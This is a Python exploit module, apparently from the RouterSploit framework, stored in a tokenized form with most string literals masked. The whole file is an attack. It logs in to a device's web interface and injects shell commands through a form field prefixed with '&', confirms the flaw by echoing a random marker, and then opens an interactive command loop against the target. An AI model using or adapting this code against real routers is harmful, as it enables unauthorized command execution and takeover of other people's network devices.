<s> import re <EOL> from routersploit import ( <EOL> exploits , <EOL> print_success , <EOL> print_status , <EOL> print_error , <EOL> random_text , <EOL> sanitize_url , <EOL> http_request , <EOL> mute , <EOL> ) <EOL> class Exploit ( exploits . Exploit ) : <EOL> """<STR_LIT>""" <EOL> __info__ = { <EOL> '<STR_LIT:name>' : '<STR_LIT>' , <EOL> '<STR_LIT:description>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : [ <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' , <EOL> ] , <EOL> '<STR_LIT>' : [ <EOL> '<STR_LIT>' , <EOL> ] , <EOL> '<STR_LIT>' : [ <EOL> '<STR_LIT>' , <EOL> ] <EOL> } <EOL> target = exploits . Option ( '<STR_LIT>' , '<STR_LIT>' ) <EOL> port = exploits . Option ( <NUM_LIT> , '<STR_LIT>' ) <EOL> username = exploits . Option ( '<STR_LIT>' , '<STR_LIT>' ) <EOL> password = exploits . Option ( '<STR_LIT>' , '<STR_LIT>' ) <EOL> def run ( self ) : <EOL> if self . check ( ) : <EOL> print_success ( "<STR_LIT>" ) <EOL> print_status ( "<STR_LIT>" ) <EOL> print_status ( "<STR_LIT>" ) <EOL> self . command_loop ( ) <EOL> else : <EOL> print_error ( "<STR_LIT>" ) <EOL> def command_loop ( self ) : <EOL> while <NUM_LIT:1> : <EOL> cmd = raw_input ( "<STR_LIT>" ) <EOL> if cmd in [ '<STR_LIT>' , '<STR_LIT>' ] : <EOL> return <EOL> print self . execute ( cmd ) <EOL> def execute ( self , cmd ) : <EOL> url = sanitize_url ( "<STR_LIT>" . format ( self . target , self . port ) ) <EOL> data = { "<STR_LIT>" : "<STR_LIT>" , "<STR_LIT>" : "<STR_LIT>" , "<STR_LIT>" : "<STR_LIT>" , "<STR_LIT:action>" : "<STR_LIT>" , "<STR_LIT>" : "<STR_LIT:0>" , "<STR_LIT>" : "<STR_LIT:127.0.0.1>" , "<STR_LIT>" : "<STR_LIT:&>" + cmd , "<STR_LIT>" : "<STR_LIT:5>" , "<STR_LIT>" : "<STR_LIT:127.0.0.1>" } <EOL> response = http_request ( method = "<STR_LIT:POST>" , url = url , data = data , auth = ( self . username , self . password ) ) <EOL> return "<STR_LIT>" <EOL> @ mute <EOL> def check ( self ) : <EOL> mark = random_text ( <NUM_LIT:32> ) <EOL> cmd = "<STR_LIT>" . format ( mark ) <EOL> url = sanitize_url ( "<STR_LIT>" . format ( self . target , self . port ) ) <EOL> data = { "<STR_LIT>" : "<STR_LIT>" , "<STR_LIT>" : "<STR_LIT>" , "<STR_LIT>" : "<STR_LIT>" , "<STR_LIT:action>" : "<STR_LIT>" , "<STR_LIT>" : "<STR_LIT:0>" , "<STR_LIT>" : "<STR_LIT:127.0.0.1>" , "<STR_LIT>" : "<STR_LIT:&>" + cmd , "<STR_LIT>" : "<STR_LIT:5>" , "<STR_LIT>" : "<STR_LIT:127.0.0.1>" } <EOL> response = http_request ( method = "<STR_LIT:POST>" , url = url , data = data , auth = ( self . username , self . password ) ) <EOL> if response is None : <EOL> return False <EOL> if mark in response . text : <EOL> return True <EOL> return False </s>
